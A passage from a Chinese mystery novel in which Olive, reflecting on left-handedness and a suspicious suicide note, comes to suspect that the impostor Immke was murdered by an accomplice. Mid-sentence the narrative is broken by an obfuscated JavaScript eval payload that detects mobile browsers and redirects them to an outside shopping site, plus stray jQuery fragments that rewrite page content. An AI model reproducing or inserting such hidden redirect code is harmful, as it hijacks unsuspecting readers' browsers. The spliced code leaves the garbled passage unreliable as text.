面对凯里夫人要她提防大盗的好意提醒，伊迪丝只笑了一笑作为回答。她要听演奏，无心交谈。


    凯里夫人又去和别人说话了，但这显然不妨碍她同时听曲子，等Z伯爵奏完，她称赞道：“Z伯爵，我知道，你惯用左手，没想到你用右手拉琴，竟然拉得这么好。”


    “正因为我惯用左手，所以比用右手的人稍多一些优势，夫人。”Z伯爵很谦虚地说，“你瞧，如果左手灵敏，在按弦、揉弦时就会更自如、准确。”


    “是么，这倒是个新鲜说法。我不由想起，那位范德梅尔伯爵，他也喜欢小提琴，拉得也不错，但他只拉左手琴。”


    听到范德梅尔伯爵，伊迪丝抬起身就走，奥丽芙连忙跟着她站起来。


    凯里夫人以为伊迪丝突兀的离开是奥丽芙的缘故，急忙向她道歉，“我又忘了，你听见这个名字会伤心。那位凶手——我始终不习惯用他的本名——他太可恨了。”她朝奥丽芙歉然地笑笑。


    “没关系，我不伤心。”奥丽芙自己确实不介意。她知道，范德梅尔伯爵在他们这群人中曾经很受欢迎，肯定会被经常议论，其实，她宁可别人谈论范德梅尔，总好过来安慰她。既然凯里夫人道了歉，她不好再走开，而且，伊迪丝又去弹钢琴了，奥丽芙便重新坐下。


    凯里夫人压低嗓音，以为奥丽芙专心听曲子，不会听她的话，其实奥丽芙能听见。


    凯里夫人对Z伯爵说：“你知道埃里奥特府上藏着一把斯特拉迪瓦里吗？那次我们在他家，主人总算把提琴拿出来让大家瞧。可惜，要是你在场就好了，那天我们别的人都不会演奏提琴，只有范德梅尔伯爵。他想要试一试，他真的试了，当然，几乎不成曲调，因为那是把右手提琴。范德梅尔只用他自己的提琴，他说要是其它右手提琴，他碰都不会碰一下，但那是斯特拉迪瓦里，他才一定要摸摸。谁能想到，一个罪犯，这么喜爱音乐！”


    Z伯爵对她的感慨没有评论，他只说：“凡事都依赖主导手确实存在许多局限，对另一只手也该加以适当锻炼。”


    Z伯爵作为一个左撇子，能用右手拉提琴，或许有资格说这样的话，可是，奥丽芙总觉得他的话另外蕴含着某个特殊的意思。


    聚会散了后，她回到自己的房间，还在想。


    因姆克是个地道的惯用左手的人，平日里，他用左手抓球拍、握笔、持琴弓。杀害父亲时，他用左手拿石块……


    但是，因姆克的尸体上，子弹是由右边太阳穴射入的，他的右手留有火药痕迹。


    警方注意到了这一点“异常”，他们的解释是：当时因姆克坐在卧室的小写字桌前，写完绝笔书后，立即从抽屉拿出手枪。小写字桌放在墙角，左面是一堵墙，若用左手射击，手肘会抵在墙上，十分不便，因此，他用了右手。


    奥丽芙在初次读到报道时，也认可警方的说法。毕竟，当枪口贴在头上，无论是惯用手还是非惯用手，哪怕用脚趾头扣扳机，都没有打不中的道理。可是，这时，奥丽芙想，因姆克正是Z伯爵口里说的，凡事都依赖主导手的人，除了作为协助，他很少使用右手独立做某事。很难想象，当他完成他在人世的最后一件事，仅仅因为所处位置别扭，便突然改用右手。


    奥丽芙不知晓因姆克卧室家具的摆放布局，她自己站在墙边比划了一下：假如因姆克能用左手在小写字桌上写字，那空间不至于很局促，至多只需要把身子向右偏偏，手肘就不会碰到墙了。


    左面的墙只在一种情况下会带来不便——另外有一个人，当他用枪抵住因姆克时，左边没有地方供他站立。


    一下子，奥丽芙浑身冰凉，是不是把所有事都想错了？另外有一个人！


    定定神，奥丽芙仔细回想。首先，范德梅尔伯爵是因姆克假扮的，这件事没有错。布朗先生本人从荷兰的美国使馆收到了明确确认，另外，伊迪丝与范德梅尔小姐的通信也同样能证实。


    而因姆克杀死父亲，这是他自己书面承认的，没有证据支撑，也没有经过审讯——因为因姆克已经死了。


    警察听见枪声，发现因姆克死在卧室，认为他是自杀。伦敦警察和他们口里的话，全部可信吗？


    倒不是说警察是坏人，杀死了因姆克，但，有没有可能，另有一人悄悄潜入因姆克的房间，用枪逼迫他写下绝笔书，又开枪打死了他并逃走；警察只看到表象，懒得深究，就像他们懒得深究父亲遇害的真相一样？


    奥丽芙终于知道自己这几日心中的不满意是什么——她就是对因姆克自杀这件事不满意。


    因姆克死后第二日，报纸上就刊出了详细报道，那份报纸奥丽芙还留着。她取出报纸，再次读了一遍。


    报道首先描述了警方发现因姆克自尽的经过，又大幅引用了因姆克绝笔中的句子：包括他叙述自己假冒范德梅尔伯爵的始末，以及杀害费克特先生的动机；绝笔书最后，是他表示悔恨和自责的言语，他感到自己犯下了大错，无颜面对世人，也无颜面对自己，决定结束自己的生命，云云。


    报道还说，因姆克的遗书比起他平日的书写，字迹更难辨认，足见他写下这些话时情绪激动，手颤抖得厉害。


    奥丽芙想，手发颤除了说明激动和悔恨，也可以说明恐惧。要是有人用枪指着你的头，怎么可能不恐惧？


    可是，书写的内容倒是丝毫未显出惧怕。遗书原文是用英语、而非荷兰语写就，这不奇怪：因姆克的父亲从事外贸行业，与英国常有贸易往来，为了继承父业，因姆克从小学习英文，掌握得很好；自杀时，他身处伦敦，很可能为警方的“工作便利”做了考虑。但是，遗书语言朴实、优美，多处显露出良好教养和高尚情操的痕迹，这不大符合写遗书之人一惯的口吻。——假如有人拿着事先写好的稿子让他抄？


    倘若奥丽芙没和“范德梅尔伯爵”打过交道，或许会被这封遗书说服，但她与对方颇熟悉，对他的为人和性格已经有了一定看法：他没有荣誉感，除了自己想要到手的东西，他对任何事都不在乎；只要能达到自己的目的，他做什么都不觉得可耻。这正是罪犯的心理，因此，他可以毫无顾虑地夺取别人的生命，可是到他自己呢？


    这样一个冒用别人身份行骗，毫无自尊、毫无廉耻，甚至没有灵魂的无赖，只可能向人摇尾乞怜，企望苟活于世，怎么会因为悔恨羞耻、因为荣誉感而轻易结束自己的性命！


    结束自己的生命确实需要一些胆量，而因姆克并不具备这种“勇气”。他“自杀”的原因是：若他活着受审，就会暴露出真正那个凶手的身份。


    奥丽芙又一次产生了喘不过气的感觉。


    咬咬牙，她逼自己继续思考。


    还有一个不对劲的地方：因姆克没有认出她其实是费克特小姐——奥丽芙再三回忆与假伯爵交往中的每一次对谈，再加上伊


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17181857|192595||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    迪丝的话作为佐证，确定了这一点。若细想，那个警告她离开伦敦的匿名字条，极有可能不是因姆克写的。那到底是谁？


    全部推翻，重头再来一遍：是不是另有一人杀死了父亲，在现场丢下了因姆克的袖扣，嫁祸给他？


    不，不，如果是这样，又何必试图偷回袖扣？确实是因姆克动手杀人。


    不过，凶手不止他一个。


    另外有个人，要么知晓因姆克的秘密，以此作为要挟，指使他杀害父亲；要么，那人与因姆克合作，为他遮掩、善后。但无论如何，那人与因姆克关系并非很近，有很多事情，他没有告诉因姆克。


    比如，一开始，那人发现她想追究案件真相，试图用匿名信将她吓跑，而当她改名换姓回到伦敦时，那人便冷眼旁观，并不去提醒因姆克。


    因为他知道，假如罪行暴露，第一个暴露出的是因姆克。当事情果真如此发展时，那个人毫不犹豫地杀死因姆克，让他顶下全部罪名。


    藏在幕后的这个家伙，也在四人当中吗？


    他是谁，只有奥康纳最清楚。那天下午，奥康纳把败露的消息同时通知了那个人和因姆克，因姆克仓皇中决定逃走，而那个人制定了周详的计划要除掉因姆克。


    要是能找到奥康纳就好了，但是，连警方也没找到。


    他们肯定没好好找。没人将奥康纳看得重要，他是个在SevenDials开铺子的家伙，那儿，有几个人不参与犯罪活动？那儿，每年失踪的人口多得数不清。


    可奥丽芙不信金铺店主能像掉入大海的一滴水般消失。若要她查，她会一步步追问，直至再也问不下去——最后见到奥康纳的人是谁，在哪儿？


    或许不用那么麻烦，她只问自己一次，关键的答案“唰”一下，蹦到了眼前。


    是谁在事发后的第一时间，就在剧院包厢中见到了奥康纳，还和他说了几句话，之后，奥康纳便走了，而紧随其后，本来好端端坐在包厢中看戏的这位先生也不见了？


    往前想想，是谁的仆人经常在SevenDials一带行踪诡秘？


    再向后想想，因姆克“自尽”那晚，是谁提前离开了舞会？


    奥丽芙一阵头晕目眩。


    他没有任何理由行凶啊！


    奥丽芙想起初次见面时，他对一只蜜蜂大惊小怪，想起在默顿公爵府上，他暗示有人潜入他的房间，想起在安斯蒂家，他发出“杰出”罪犯不易让人识破的洋洋自得的议论……这里每一件事都可以换一种理解——对她的嘲笑与试探！


    可是，忆起的每一句话，每一件事，又都能找到另一句话，另一件事，甚至一个神情，去驳斥它，抵消它。


    奥丽芙思过来，想过去，一时觉得他可疑，一时又觉得绝无可能，脑子再也转不动了，手里还呆呆握着报纸。


    她低下头，目光无意识地扫过报纸，看到了珠宝窃案。


    在因姆克畏罪自杀的同一个晚上，有一件珠宝被盗，因此，这天的报纸也刊登了这则新闻。这一次，是假伯爵事件更吸引眼球，关于窃案的简短报道被挤到了版面最下端。


    不知不觉间，奥丽芙把关于窃案的几句话读了一遍。


    她几乎不知道自己在看什么，不过，时间、地点，新闻中最关键的几个词钻进了她的大脑。


    五分钟后，她又重新再读一遍，一字一字，仔仔细细。